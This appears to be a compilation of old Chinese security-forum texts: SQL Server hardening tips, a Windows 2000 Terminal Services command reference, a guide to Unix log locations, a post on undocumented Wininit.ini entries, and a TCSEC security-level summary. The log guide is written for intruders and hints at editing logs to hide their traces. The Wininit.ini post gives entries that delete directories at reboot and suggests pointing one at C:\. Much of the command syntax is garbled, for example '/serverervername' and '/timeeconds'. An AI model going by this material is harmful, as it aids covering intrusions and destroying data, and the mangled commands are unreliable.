xp_stopmail xp_subdirs xp_unc_to_drive

--去掉数据库中guest用户。
--关闭SQL MAIL兼容能力，防止传递一些木马病毒等。
--设置一个任务处理来定时运行下面的程序：

findstr /C:"Login Failed" \mssql7\log\*.*'

再重定向到其他文件或者MAIL到管理员信箱。

--经常检查带有空密码的帐户：

Use master
Select name,
Password
from syslogins
where password is null
order by name

--检查所有不需要'sa'权限的存储过程和扩展存储过程访问权限：

Use master
Select sysobjects.name
From sysobjects, sysprotects
Where sysprotects.uid = 0
AND xtype IN ('X','P')
AND sysobjects.id = sysprotects.id
Order by name

--保证SQL SERVER的传输信息在隔离的网络段中。


关于TermService的资料

关于终端服务的一些帮助

一、
终端服务管理器 (tsadmin.exe 一个GUI程序）

使用终端服务管理器管理和监视网络中运行终端服务的任何服务器上的用户、会话及进程。用于：

显示关于服务器、会话、用户和进程的信息。
连接到这些会话或与之断开连接。
监视会话。
重置会话。
向用户发送消息。
注销用户。
终止进程。
终端服务配置
在 Windows 2000 Server 和终端服务的安装期间，会为 TCP/IP 配置连接。该连接将提供客户用于登录到服务

器上某个会话的链接。在安装完之后，使用终端服务配置更改此连接的属性或添加新连接。用于：

为连接命名。
指定连接的类型。
指定连接传输和传输属性。
设置所允许的最多数量的会话。
启用或禁用通过该连接的登录。
设置连接超时。
设置加密的级别。
设置是否断开已中断的连接。
启用或禁用会话远程控制。
启用或禁用自动登录。

二、终端服务命令参考
可以从命令提示行激活多个终端服务管理实用程序。下表列出了这些实用程序。

命令 功能
change logon 暂时禁止登录到终端服务器。
change port 由于 MS-DOS 程序的兼容性而更改 COM 端口映射。
change user 更改当前用户的 .ini 文件映射。
cprofile 从用户配置文件中删除用户特定的文件关联。
dbgtrace 启用或禁用调试跟踪。
flattemp 启用或禁用平面型临时目录。
logoff 从会话中注销用户并从服务器上删除会话。
msg 向用户或用户组发送消息。
query process 显示在终端服务器上运行的进程的有关信息。
query session 显示终端服务器上的会话的有关信息。
query termserver 显示网络上所有终端服务器的列表。
query user 显示终端服务器上用户会话的有关信息。
register 注册应用程序以便在系统的全局环境下执行。
reset session 将会话重置为已知的初始值。
shadow 监视另一用户的会话。
tscon 连接到另一个已有的终端服务器会话。
tsdiscon 从终端服务器会话中断开与客户机的连接。
tskill 结束进程。
tsprof 复制用户配置并更改配置文件路径。
tsshutdn 关闭终端服务器。

change logon
允许或禁止从客户会话登录或显示当前登录状态。该实用程序对系统的维护非常有用。

change logon {/enable | /disable | /query}

参数

/enable

允许从客户会话登录，但禁止从控制台登录。

/disable

禁止以后从客户会话登录，但允许从控制台登录。目前登录的用户不受影响。

/query

不管是允许还是禁止，都显示当前登录的状态。

安全性限制

只有管理员才能使用 change logon 命令。

注意

当您重新启动系统时，也将重新允许登录。如果您从客户会话连接到终端服务器并禁止登录，然后在重新允许

登录之前注销，则不能从您的会话中重新连接。为了重新允许从客户会话登录而在控制台上登录。

change port
更改 COM 端口映射以便与 MS-DOS 应用程序兼容。

change port [portx=porty | /d portx | /query]

参数

portx=porty

将 COM 端口 x 映射到端口 y。

/d portx

删除对 COM 端口 x 的映射。

/query

显示当前端口映射。

注意

大多数 MS-DOS 应用程序只支持 COM1 到 COM4 的串行端口。change port 命令将串行端口映射到不同的端口

号，允许不支持较高编号的 COM 端口的应用程序访问串行端口。例如，要把 COM12 映射到 COM1 以便让基于

MS-DOS 的应用程序使用，请键入 change port com12=com1。重新映射只能用于当前会话，而且在您从会话注

销然后再次登录时不保留。
不带任何参数使用 change port 将显示可用的 COM 端口及

change user
更改 .ini 文件映射的设置。

change user {/execute | /install | /query}

参数

/execute

允许 .ini 文件映射到主目录。这是默认的设置。

/install

禁止 .ini 文件映射到主目录。读取所有的 .ini 文件，并写到系统目录。在终端服务器上安装应用程序必须

禁用 .ini 文件映射。

/query

显示 .ini 文件映射的当前设置。

注意

在安装应用程序之前使用 change user /install 在系统目录中创建应用程序的 .ini 文件。这些文件作为用

户特定 .ini 文件的主控副本使用。在安装应用程序之后，使用 change user /execute 恢复到标准的 .ini

文件映射。
首次运行应用程序时，将搜索 .ini 文件的主目录。如果 .ini 文件在主目录中没有找到，但是在系统目录中

找到，则终端服务会把 .ini 文件复制到主目录，以确保每个用户都有应用程序 .ini 文件的单一副本。任何

新的 .ini 文件都是在主目录中创建的。
每个用户都应该有应用程序 .ini 文件的单一副本。这可以防止不同用户可能有不兼容的应用程序设置，例如

，不同的默认目录或屏幕分辨率。
当该系统处于安装模式 (change user /install) 时，将出现多种情况。已创建的所有注册表项在

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\TerminalServer\Install 下都有镜像

。添加到 HKEY_CURRENT_USER 的注册表项将复制到 \SOFTWARE 下，而且添加到 HKEY_LOCAL_MACHINE 的注册

表项将复制到 \MACHINE 中。如果应用程序使用象 GetWindowsDirectory 这样的系统调用查询 Windows 目录

，则终端服务器返回 systemroot 目录。如果所有 .ini 文件项都是用系统调用（如

WritePrivateProfileString）添加的，则这些项将添加到 systemroot 目录下的 .ini 文件中。
当系统返回到执行模式 (change user /execute)，而且应用程序试图读取 HKEY_CURRENT_USER 下已不存在的

注册表项时，终端服务将对此进行检查，以查看是否在 \TerminalServer\Install 注册表项下存在注册表项的

副本。如果是这样的话，这些注册表项将复制到 HKEY_CURRENT_USER 下的相应位置。如果应用程序试图从已不

存在的 .ini 文件读取，则终端服务会在系统根目录下搜索这个 .ini 文件。如果 .ini 文件在系统根目录下

，则它将被复制到用户主目录的 \Windows 子目录。如果该应用程序查询 Windows 目录，则终端服务器返回用

户主目录的 \Windows 子目录。
当您登录时，终端服务会检查它的系统 .ini 文件是否比您计算机上的 .ini 文件新。如果系统版本是新的，

则您的 .ini 文件将被替换或与新版本合并。这取决于 INISYNC 位 0x40 是否是为此 .ini 文件设置的。以前

版本的 .ini 文件更名为 Inifile.ctx。如果在\TerminalServer\Install 注册表项下的系统注册表值比

HKEY_CURRENT_USER 下的新，那么这些注册表项的版本将被删除而且用 \TerminalServer\Install 下的新注册

表项替换。

Cprofile
清除浪费空间的指定配置文件，如果用户特定文件关联是禁用的，则从注册表中删除这些文件关联。目前正在

使用的配置文件没有修改。

cprofile [/l] [/i] [/v] [filelist]

cprofile [/i] [/v] filelist

参数

/l

清除所有本地配置文件。也可以在 filelist 参数中指定其他配置文件的列表。

/i

每个配置文件都交互式地提示用户。

/v

显示关于要执行的操作的信息。

filelist

要从中删除用户特定文件关联的文件的列表。用空格隔开列表中的每个文件。文件名中可以包含通配符字符。

注意

只有管理员才能运行 cprofile。
终端服务器使用文件关联确定使用哪个应用程序访问不同类型的文件。文件类型是使用 Windows 资源管理器注

册的。
每用户文件关联允许每个用户有不同的应用程序与特定的文件类型关联。例如，一个用户可能有与 Microsoft

Word 关联的 .doc 文件，而另一用户可能有与 Windows 写字板关联的 .doc 文件。
用户特定文件关联是通过 peruser 命令启用或禁用的。如果启用用户特定的文件关联，则 cprofile 只能从用

户配置文件中删除不再使用的空间。如果禁用用户特定的文件关联，则 cprofile 还会删除响应注册表项。

Dbgtrace
启用和禁用调试跟踪。

dbgtrace [name | id | /system] [/all | /c:class /e:type] [/d] [/t] [/otring] [/?]

参数

name

指定要在其中执行跟踪的目标会话的名称。

id

指定要在其中执行跟踪的目标会话的 ID。

/system

在所有会话上执行跟踪。使用该参数时，不需要 name 和 id。

/all

对所有类和类型执行跟踪。使用该参数时，不需要 /c 和 /e 参数。

/c:class

指定进行这次跟踪的类值。

/e:type

指定进行这次跟踪的类型值。

/d

指定跟踪结果是可以调试的。

/t

执行跟踪直到用户打断为止。

/otring

指定可用于限制跟踪的驱动程序选项。

注意

必须指定或者使用 /all 或者使用 /c:class 和 /e:type 执行跟踪。
不带 /all、/c:class 和 /e:type 参数使用 dbgtrace 将禁用跟踪。

Flattemp
使用 flattemp 启用或禁用平面型临时文件夹。为多个用户创建临时文件夹的默认方法（通常由 TEMP 和 TMP

环境变量指明）是在 \Temp 文件夹中创建子文件夹，使用 logonID 作为子文件夹名称。例如，如果 TEMP 环

境指向 C:\Temp，那么指派给用户 logonID 4 的临时文件夹是 C:\Temp\4。使用 Flattemp，您可以直接进入

\Temp 文件夹并防止形成子文件夹。这一点在以下情况下非常有用：即您希望不管是在终端服务器的本地驱动

器还是在网上的共享驱动器中，都在主目录中包含用户临时文件夹。应该仅在每个用户有单独的临时文件夹时

使用此命令。有关对每个会话使用临时文件夹的说明，请参阅对每个会话使用单独的临时文件夹。

一旦每个用户都拥有唯一的临时目录，就可使用 flattemp /enable 启用平面型临时目录。

flattemp {/query | /enable | /disable}

参数

/query

查询当前设置。

/enable

启用平面型临时目录。

/disable

禁用平面型临时目录。

注意

只有管理员才能运行 flattemp。
如果用户的临时目录在网络驱动器上，则您可能会遇到应用程序错误。当网络共享位置在某个瞬间不能从网络

上访问时，常常会发生这种情况。由于应用程序临时文件可能无法访问或不同步，因此它的响应就象是磁盘停

止工作。不建议将临时目录移动到网络驱动器。默认是在本地硬盘上保留临时目录。如果遇到某些应用程序意

外操作或磁盘损坏错误，请保持您的网络不变或将临时目录移回本地硬盘。
如果您对每个会话禁用单独的临时文件夹，则 Flattemp 设置将被忽略。此选项在“终端服务配置”中设置。

logoff
从会话中注销用户并从服务器上删除会话。

logoff [sessionid | sessionname] [/serverervername] [/v]

参数

sessionid

用于向服务器标识会话的数字 ID。

sessionname

会话的名称。

/serverervername

指定包含有要从中注销用户的会话的终端服务器。如果未指定，则使用您目前工作的服务器。

/v

显示关于要执行的操作的信息。

范例

要从当前会话中注销用户，请键入：

logoff

要使用会话 ID（会话 12）从会话中注销用户，请键入：

logoff 12

要使用会话和服务器的名称（例如服务器 WF12 上的会话 TERM04）从会话中注销用户，请键入：

logoff TERM04 /server:WF12

注意

可以始终从当前登录到的会话中注销。但是，您必须有完全控制权限才能从其他会话注销用户。
没有警告地从会话中注销用户可能导致用户会话中的数据丢失。在采取此项动作之前，应该使用 msg 命令向用

户发送消息警告该用户。
如果没有指定该会话的 ID 或名称，使用 logoff 将从当前会话注销用户。如果指定会话的名称，则它必须是

当前有效的名称。
当您注销用户时，所有进程都将结束而且该会话将从服务器上删除。
不能从控制台会话中注销用户。

Msg
向用户发送消息。

msg {username | sessionname | sessionid | @filename | *} [/serverervername] [/timeeconds]

[/v] [/w] [message]

参数

username

要接收消息的用户的名称。

sessionname

要接收消息的会话的名称。

sessionid

其用户要接收消息的会话的数字 ID。

@filename

标识包含有待接收消息的用户名、会话名和会话 ID 列表的文件。

*

将消息发送给系统中的所有用户。

/serverervername

指定要接收消息的会话或用户所属的终端服务器。如果未指定，则使用您目前登录的服务器。

/timeeconds

指定您发送的消息在用户屏幕上显示的时间。一旦到期，则该消息从屏幕上消失。如果没有设置期限，则该消

息将一直保留在用户屏幕上，直到用户看见这条消息并单击“确定”。

/v

显示关于要执行的操作的信息。

/w

等待来自用户的、指出该消息已收到的确认信息。如果用户不立即响应，使用 /timeeconds 参数将避免可能

的长时间延迟。使用 /v 参数也很有帮助。

message

待发送消息的正文。如果没有键入任何消息，则系统将提示您输入消息或从标准输入 (STDIN) 中读取该消息。

要发送包含在文件中的消息，请键入小于号 (> 后接文件名称。

范例

要向用户 MIKES 的所有会话发送标题为 Let's meet at 1PM today 的消息，请键入：

msg MIKES Let's meet at 1PM today

要向会话 MODEM02 发送相同的消息，请键入：

msg modem02 Let's meet at 1PM today

要向会话 12 发送消息，请键入：

msg 12 Let's meet at 1PM today

要向包含在文件 USERLIST 中的所有会话发送消息，请键入：

msg @userlist Let's meet at 1PM today

要向已登录的所有用户发送消息，请键入：

msg * Let's meet at 1PM today

要在确认超时（例如 10 秒）限制内向所有用户发送消息，请键入：

msg * /TIME:10 Let's meet at 1PM today

注意

如果不指定该用户或会话的名称，则 msg 将显示错误消息。指定会话的名称时，必须是有效名称。
用户必须有发送消息的权限才能发送消息。

Query process
显示在终端服务器上运行的进程的有关信息。可以使用此命令了解特定用户正在运行的程序，以及运行特定程

序的用户。

query process [ * | processid | username | sessionname | /id:nn | programname]

[/serverervername] [/system]

参数

*

列出所有会话的进程。

processid

标识要查询的进程的数字 ID。

username

要列出其进程的用户的名称。

sessionname

要列出其进程的会话的名称。

/IDessionID

要列出其进程的会话的 ID。

programname

要查询其进程的程序的名称。需要 .exe 扩展名。

/serverervername

指定要列出其进程的终端服务器。如果未指定，则使用您目前登录的服务器。

/system

指定显示关于系统进程的当前信息。如果您不希望显示系统进程，则不使用该参数。

注意

管理员有完全访问所有 query process 功能的权利。
如果您不指定 username、sessionname、/IDessionID、programname 或 * 参数，则 query process 只显示

属于当前用户的进程。
如果已指定会话，则必须标识活动会话。可以使用通配符标识进程。
Query process 返回以下信息：
拥有此进程的用户
拥有此进程的会话
此会话的 ID
进程的名称
进程的状态
进程的 ID
当 query process 返回信息时，在属于当前会话的每个进程之前会显示小于号 (>。

Query session
显示终端服务器上的会话的有关信息。此列表不仅包括关于当前会话的信息，而且还包括关于服务器运行的其

他会话的信息。

query session [sessionname | username | sessionid] [/serverervername] [/mode] [/flow]

[/connect] [/counter]

参数

sessionname

待查询会话的名称。

username

要查询其会话的用户的名称。

sessionid

待查询会话的 ID。

/serverervername

确定要查询的终端服务器。默认是当前服务器。

/mode

显示当前行的设置。

/flow

显示当前流控制设置。

/connect

显示当前连接设置。

/counter

显示当前计数器信息，包括已创建、断开连接和重新连接的所有会话数。

范例

要显示关于服务器 SERVER2 上所有当前会话的信息，请键入：

query session /serverERVER2

要显示关于当前会话 MODEM02 的信息，请键入：

query session MODEM02

查询会话范例的输出结果如下：

C:\>query session
SESSIONNAME USERNAME ID STATE TYPE DEVICE
>console administrator 0 active wdcon
rdp-tcp#1 client1 1 active wdtshare
rdp-tcp 2 listen wdtshare
4 idle
5 idle
小于号 (> 指明当前会话。SESSIONNAME 指定为该会话指派的名称。USERNAME 指明连接到该会话的用户的名

称。STATE 提供关于会话该当前状态的信息。详细信息，请参阅会话状态。TYPE 指明会话的类型。DEVICE，对

于控制台或网络连接的会话不出现此项，它是指派给该会话的设备名称。会话信息后面的注释是从会话配置文

件中得到的。

初始状态中的任何会话都配置为禁用的会话，而且在启动之前不出现在查询会话列表中。

注意

用户可以一直查询用户当前登录到的会话。要查询其他会话，用户必须有查询信息的访问权限。
如果您不使用 sessionname、username 或 sessionid 指定会话，则 query session 将显示系统中所有当前会

话的有关信息。
当 query session 返回信息时，在当前会话之前将显示小于号 (>。

Query termserver
显示网络上所有终端服务器的列表。Query termserver 在网络上搜索所有连接的终端服务器并返回以下信息：

服务器的名称。
网络（如果已使用 /address 选项，则还包括节点地址）。
query termserver [servername] [/domainomain] [/address] [/continue]

参数

servername

用以标识终端服务器的名称。

/domainomain

指定查询终端服务器的域。如果您在当前工作的域中查询，则不需要指定域。

/address

显示每个服务器的网络和节点地址。

/continue

防止在显示每一屏幕的信息后停止。

范例

要显示关于网络上所有终端服务器的信息，请键入：

query termserver

要显示名为 server3 的终端服务器的有关信息，请键入：

query termserver server3

要显示关于域 SYSTEM 中所有终端服务器的信息，请键入：

query termserver /domainystem

要显示名为 server3 的终端服务器的网络和节点地址，请键入：

query termserver server3 /address

Query user
显示终端服务器上用户会话的有关信息。如果特定用户登录到特定的终端服务器，则可以使用该命令查找。Que

ry user 返回以下信息：

用户的名称
终端服务器上的会话的名称
会话 ID
会话的状态（活动或断开连接）
空闲时间（在该会话中自上次击键或鼠标移动以来经过的分钟数）
用户登录的时间
query user [username | sessionname | sessionid] [/serverervername]

参数

username

单击待查询用户的登录名。

sessionname

键入待查询会话的名称。

sessionID

指定待查询会话的 ID。

/serverervername

指定要查询的终端服务器。否则使用当前终端服务器。

范例

要显示有关登录到系统的所有用户的信息，请键入：

query user

要显示有关服务器 SERVER1 上用户 USER1 的信息，请键入：

query user USER1 /serverERVER1

注意

要使用 query user，您必须有完全控制权限或查询信息的特殊访问权限。
如果您不指定用户名、会话名称或会话 ID 而直接使用 query user 命令，则会接收到登录到该服务器的所有

用户的列表。另外，也可以使用查询会话显示服务器上所有会话的列表。
当 query user 返回信息时，在当前会话之前将显示小于号 (>。
只有在您从远程服务器使用 query user 时才使用 /server 参数。

Register
注册程序以便它具有特殊的执行特征。

register filename [/system | /user] [/v]

参数

filename

单击待注册文件的名称。

/system

将文件名注册为系统全局资源。

/user

将文件名注册为用户全局资源。

/v

显示其他信息。

注意

只有管理员才能使用 register 命令。
某些复杂的应用程序和子系统需要在系统全局环境下执行，以建立多个登录用户公用的资源。
程序的注册数据只能在程序安装时识别。如果您对已经安装的程序发出 register 命令，则所做的改动将在下

一次程序安装时生效。

Reset session
允许您从终端服务器重置（删除）会话。

reset session {sessionname | sessionid} [/serverervername] [/v]

参数

sessionname

要重置的会话的名称。要确定会话的名称，请使用查询会话命令。

sessionid

要重置的会话的 ID。

/serverervername

指定包含待重置会话的终端服务器。否则使用当前终端服务器。

/v

显示关于要执行的操作的信息。

注意

可以始终重置您自己的会话，但必须有完全控制访问权限才能重置另一用户的会话。
注意没有警告地重置用户会话可能会导致该会话中的数据丢失。
应该只在会话出现故障或停止响应时重置会话。
只有从远程服务器使用 reset session 时才需要 /server 参数

Shadow
允许您远程控制另一用户的活动会话。可以查看或随时控制该会话。如果您选择要随时控制用户的会话，则可

以在会话中输入键盘和鼠标操作。

shadow {sessionname | sessionid} [/serverervername] [/v]

参数

sessionname

要远程控制的会话的名称。

sessionid

要远程控制的会话的 ID。使用 query user 命令显示会话及其会话 ID 的列表。

/serverervername

指定包含要远程控制的会话的终端服务器。默认情况下，使用当前终端服务器。

/v

显示关于要执行的操作的信息。

范例

要制作会话 93 的镜像，请键入：

shadow 93

要制作会话 CCTG01 的镜像，请键入：

shadow ACCTG01

注意

可以始终对您自己的会话（除当前会话以外）进行远程控制，但您必须有完全控制访问权限才能远程控制另一

会话。
也可以使用终端服务管理器启动远程控制。详细信息，请参阅远程控制会话。
在开始监视之前，该服务器将警告用户此会话将在远程进行控制，除非该警告被禁用。您的会话在等待来自用

户的响应时就好象是被冻结了几秒钟。要配置用户和会话的远程控制，请使用“本地用户和组”以及“Active

Directory 用户和计算机”的终端服务配置或终端服务扩展程序。
您的会话必须能够支持用于您远程控制或操作失败的会话的视频分辨率。
控制台会话既不能远程控制另一会话，也不能由另一会话远程控制。
当您希望结束远程控制（制作镜像）时，请按 CTRL+ 星号（只能是数字小键盘上的 *），或者您定义的任何热

键。在终端服务管理器中定义热键。

Tscon
连接到另一会话。

tscon {sessionID | sessionname} [/serverervername] [/destessionname] [/passwordassword]

[/v]

参数

sessionID

要连接的会话的 ID。如果使用可选的 /destessionname 参数，那么这就是您要连接的会话的 ID。

sessionname

要连接的会话的名称。

/serverervername

指定包含待连接会话的终端服务器。默认情况下，使用当前终端服务器。

/destessionname

指定当前会话的名称。该会话将在您连接到新会话时断开连接。

/passwordassword

拥有待连接会话的用户的密码。在连接用户不拥有此会话时必须提供密码。

/v

显示关于要执行的操作的信息。

范例

要连接当前终端服务器上的会话 12 并断开与当前会话的连接，请键入：

tscon 12

要使用密码 mypas 连接当前终端服务器上的会话 23 并与当前会话断开连接，请键入：

tscon 23 /password:mypass

要把名为 TERM03 的会话连接到名为 TERM05 的会话中，并在与会话 TERM05 连接的情况下断开与它的连接，

请键入：

tscon TERM03 /v /dest:TERM05

注意

必须有完全控制访问权限或连接的特殊访问权限才能连接到另一会话。
/destessionname 参数允许您把另一用户的会话连接到不同的会话。
如果不在 password 参数中指定密码，而且目标会话属于当前用户之外的另一用户，则 tscon 将执行失败。
无法连接到控制台会话。

Tsdiscon
将会话从终端服务器上断开连接。

tsdiscon [sessionid | sessionname] [/serverervername] [/v]

参数

sessionid

要断开连接的会话的 ID。

sessionname

要断开连接的会话的名称。

/serverervername

指定终端服务器包含要断开连接的会话。否则使用当前终端服务器。

/v

显示关于要执行的操作的信息。

范例

要与当前会话断开连接，请键入：

tsdiscon

要与会话 10 断开连接，请键入：

tsdiscon 10

要与名为 TERM04 的会话断开连接，请键入：

tsdiscon TERM04

注意

您必须有完全控制权限才能从会话中断开与另一用户的连接。
如果没有指定会话 ID 或会话名称，则 tsdiscon 会把当前会话断开连接。
在会话断开连接时运行的任何应用程序都将在您重新连接到该会话时自动运行，而没有数据丢失。使用 Reset

session 结束运行已断开会话的应用程序，但请注意这可能会导致该会话中的数据丢失。
/server 参数只是在您从远程服务器使用 tsdiscon 时才需要。
控制台会话不能断开连接。
Tskill
结束进程。

tskill {processid | processname} [/serverervername] [/idessionid | /a] [/v]

参数

processid

要结束的进程的 ID。

processname

要结束的进程的名称。可以使用通配符指定该参数。

/serverervername

指定包含要结束的进程的终端服务器。否则使用当前终端服务器。

/idessionid

结束在指定会话中运行的进程。

/a

结束在所有会话中运行的进程。

/v

显示关于要执行的操作的信息。

注意

除非您是管理员，否则可以使用 tskill 只结束那些属于您的进程。管理员拥有完全访问所有 tskill 函数的

权限，而且可以结束在其他用户会话中运行的进程。
当运行在会话中的所有进程结束时，该会话也就结束了。

Tsprof
将用户配置信息（显示在“本地用户和组”以及“Active Directory 用户和计算机”的终端服务扩展程序中）

从一个用户复制到另一用户。Tsprof 也可以设置用户的配置文件路径。

tsprof /update {/domainomainname | /local} /profilerofilepath username

tsprof /copy {/domainomainname | /local}[/profilerofilepath] src_usr dest_usr

tsprof /q {/domainomainname | /local} username

参数

username

要更新或查询其服务器配置文件路径的用户的名称。

srcusername

要从中复制用户配置信息的用户的名称。

destusername

要为其复制用户配置信息的用户的名称。

/domainomainname

应用此操作的域的名称。

/local

此操作仅应用于本地用户帐户。

/profilerofilepath

配置文件路径显示在“本地用户和组”以及“Active Directory 用户和计算机”的终端服务扩展程序中。

/update

将域 domainname 中 username 的配置文件路径信息更新为 profilepath。

/copy

将用户配置信息从 src_usr 复制到 dest_usr，并将 dest_usr 的配置文件路径信息更新为

profilepath。src_usr 和 dest_usr 必须是本地用户，或者必须在域 domainname 中。

/q

显示要查询其服务器配置文件路径的用户的当前配置文件路径。

安全性限制

只有管理员才能运行 tsprof。

Tsshutdn
允许管理员远程关闭或重新启动终端服务器。如果计算机支持对交流电源的软件控制，也可以选择关闭服务器

的电源。

tsshutdn [wait_time] [/serverervername] [/reboot] [/powerdown] [/delay:logoffdelay] [/v]

参数

wait_time

在通知了用户之后，指定在从用户的会话中注销所有用户之前等待的时间（以秒计算）。默认值为 60 秒。

/serverervername

指定终端服务器关机。如果未指定，当前终端服务器是关闭的。

/reboot

在用户会话结束后重新启动终端服务器。

/powerdown

如果计算机支持对交流电源的软件控制，请关闭终端服务器。

/delay:logoffdelay

当用户从他们的会话中注销后，指定在结束所有进程并关闭终端服务器之前等待的时间。默认值为 30 秒。

/v

显示关于要执行的操作的信息。

注意

只有管理员才能运行 tsshutdn。
不推荐使用“开始”菜单上的“关机”命令关闭终端服务器。这种方式在结束用户的会话之前不通知用户。
在关闭之前所有连接的会话都将得到通知。带有打开文件的应用程序的会话将提示用户保存文件。执行注销命

令之后，tsshutdn 在结束所有进程之前等待指定的时间间隔（默认是 30 秒，通过 /delay 设置）。
除非指定 /reboot 选项，否则 Tsshutdn 不重新启动终端服务器。


关于UINX/Liunx系统的LOG日志文件

网管主要靠系统的LOG即我们时常所说的日志文件来获得侵入的痕迹及你进来的IP或其他信息。当然也有些网管使用第三方工具来记录侵入他电脑的痕迹，这里主要要讲的是一般UNIX系统里记录你踪迹的文件。

那到底这些LOG日志文件放在哪里呢？这主要依靠的是你所进入的UNIX系统系统，各个系统有些不同的LOG文件，但大多数都应该有差不多的位置，最普通的位置就是下面的这几个位置：
----/usr/adm - 早期版本的UNIX
----/var/adm - 新一点的版本使用这个位置
----/var/log - 一些版本的Solaris,Linux BSD,Free BSD使用这个位置
----/etc - 大多数UNIX版本把utmp放在此处，一些也把wtmp放在这里,这也是
syslog.conf的位置

下面的一些文件耕具你所在的目录不同而不同：

acct 或 pacct -- 记录每个用户使用的命令记录
access_log -- 主要使用来服务器运行了NCSA HTTPD, 这
记录文件会有什么站点连接过你的服务器
aculog -- 保存着你拨出去的MODEMS记录
lastlog -- 记录了用户最近的LOGIN记录和每个用户的
最初目的地，有时是最后不成功LOGIN的记录
loginlog -- 记录一些不正常的LOGIN记录
messages -- 记录输出到系统控制台的记录，另外的信息
由syslog来生成
security -- 记录一些使用UUCP系统企图进入限制范围的事例
sulog -- 记录使用su命令的记录
utmp -- 记录当前登录到系统中的所有用户
这个文件伴随着用户进入和离开系统而不断变化.
utmpx -- UTMP的扩展
wtmp -- 记录用户登录和退出事件
syslog -- 最重要的日志文件，使用syslogd守护程序来获得
日志信息：
/dev/log -一个UNIX域套接字，接受在本地机器上
运行的进程所产生的消息
/dev/klog - 一个从UNIX内核接受消息的设备
514端口 - 一个INTERNET套接字，接受其他机器
通过UDP产生的syslog消息。
uucp -- 记录的UUCP的信息，可以被本地UUCP活动更新，也
可有远程站点发起的动作修改，信息包括发出和接受
的呼叫，发出的请求，发送者，发送时间和发送主机
lpd-errs -- 处理打印机故障信息的日志
ftp日志 -- 执行带-l选项的ftpd能够获得记录功能
httpd日志 -- HTTPD服务器在日志中记录每一个WEB访问记录
history日志 -- 这个文件保存了用户最近输入命令的记录
vold.log -- 记录使用外接媒介时遇到的错误记录

-=-=-=-=-=-=-=-=-=-=-=-=-
其他类型的日志文件-
-=-=-=-=-=-=-=-=-=-=-=-=-
有些类型的LOG文件没有特定的标题，但开始于一个特定的标志，你可以在前面头发现如下的标志，这就一般表示此是个LOG日志文件，你就可以编辑它了：

xfer -- 表明试图一个禁止的文件传输.
rexe -- 表明试图执行一个不允许的命令

还有许多其他其他类型的LOG文件存在,主要是第三方软件引起的,或者甚至他妈的网管自己有设置了一只"眼睛"在他的系统上，所以你要对你认为可能是LOG文件的文件多一份心眼。许多管理员喜欢把日志文件放在同一个目录中以便管理，所以你要检查你发现的LOG文件所在的目录中，是否有其他日志文件放在这里，如果有,咯，你知道怎么做。

另一个你要注意的是有关LOG用户MAIL的文件，此文件名可以多种多样，或则有时是syslog文件的一部分。你要知道syslog记录那些信息，你可以查看syslog.conf中的信息此文件的目录是在/etc中


关于Wininit_ini的秘密

大家好,我是Winter.关于Wininit.ini的事我已经沉默了2年了,现在应该是将它的故事告诉大家的时候了.请绿色兵团的网管给我这次机会,不要过早删除这份贴子.
说起Wininit.ini先要讲一下Windows的启动过程,(随便提一下Wininit.ini仅对Win95 Win98 WinMe有效)一台电脑的启动过程大至是BIOS -> MBR -> DBR -> io.sys -> win.com -> Wininit.exe ->...... 就是这个Wininit.exe读取Wininit.ini中的信息并依照它的命令执行的. 在win.com还处于实模式时加载运行Wininit.exe,并等待它结束后,win.com才进入保护模式继续加载Windows.而Wininit.ini中的项目微软只公开了[RENAME]字段的一 部分,而不肯告诉我们其他信息.但这并不说明Wininit.ini就没有秘密,据我研究证实Wininit.ini的[RENAME]还有这一功能,请看事例:
[RENAME]
DIRNUL=C:\SMENU
上面的项目会在二次启动后删除C:\SMENU目录和它的下级目录与文件.但是这个项目是危险的,如果是DIRNUL=C:\或DIRNUL=D:\
会怎样呢...

还有:
[NUL]
c:\SMENU\SMENU.EXE=1
会在二次启动后删除c:\SMENU\SMENU.EXE

还有:
[DIRNUL]
C:\SMENU=1
会在二次启动后删除C:\SMENU目录和它的下级目录与文件.

还有:
[CombineVxDs]
C:\DRIVER\VFAT.VXD=C:\WINDOWS\SYSTEM\VMM32.VXD
C:\DRIVER\CDFS.VXD=C:\WINDOWS\SYSTEM\VMM32.VXD
会在二次启动后用c:\driver下的vfat.vxd与cdfs.vxd去重新合并一个c:\windows\system\vmm32.vxd,这个项目与合并VXD有关.

还有:
[SetupOptions]
combine=1
会在二次启动后使[CombineVxDs]项目生效,没有[SetupOptions]的[CombineVxDs]是无效的.

还有:
[WIt]项目,[tmp]项目,[VMM32.TMP]项目,[VMM32.CMP]项目...
可惜我的能力有限,不能解析.但是我能肯定它们是存在的...
你能解析出它们的使用规则吗? 请告诉我: from30cn@yahoo.com.cn
1:Wininit.ini只在Win95 Win98 WinME的Windows目录下有效,且在二次启动执行完其中指令后被Wininit.exe删除.
2:在Wininit.ini中目录与文件的引用必须用绝对路径表示,并且是8.3文件名格式。
3:请不要利用Wininit.ini中的某些指令干坏事.


关于安全性级别

这个安全性级别是美国国防部制订的,共有 ABCD 四级,
     A 级最高, D 级最低,其中 B,C 两级又分两个子级.
     具体如下:

       D :无任何安全性防护.
          DOS 和 Windows 95 属于 D 级.

       C :分为 C1 C2 两级:
        C1 :1. 所有的用户都被分组;
            2. 对于每个用户,必须登记后才能使用系统;
            3. 系统必须记录每个用户的登记;
            4. 系统必须对可能破坏自身的操作发出警告.
            标准 UNIX 属于 C1 级.

        C2 :在 C1 的基础上,增加以下几条要求:
            1. 所有的对象都有且仅有一个物主;
            2. 对于每个试图访问对象的操作,都必须检验
               权限,对于不符合权限要求的访问,必须予以
               拒绝;
            3. 有且仅有物主和物主指定的用户可以更改权限;
            4. 管理员可以取得对象的所有权,但不能归还;
            5. 系统必须保证自身不能被管理员以外的用户改变;
            6. 系统必须有能力对所有的操作进行记录,并且
               只有管理员和由管理员指定的用户可以访问该
               记录.
            SCO UNIX 和 Windows NT 属于 C2 级.

       B :分为 B1 B2 两级:
        B1 :在 C2 的基础上,增加以下几条要求:
            1. 不同的组成员不能访问对方创建的对象,但管理员
               许可的除外;
            2. 管理员不能取得对象的所有权.
            Windows NT 的定制版本可以达到 B 级.

        B2 :在 B1 的基础上,增加以下几条要求:
            1. 所有的用户都被授予一个安全等级;
            2. 安全等级较低的用户不能访问高等级用户创建的
               对象.
            银行的金融系统通常达到 B2 级.

       A :在 B2 的基础上,增加以下要求:
          系统的整体安全策略一经建立便不能修改.

          A 级安全性要求过高,目前商品化的操作系统没有
          达到 A 级要求的.


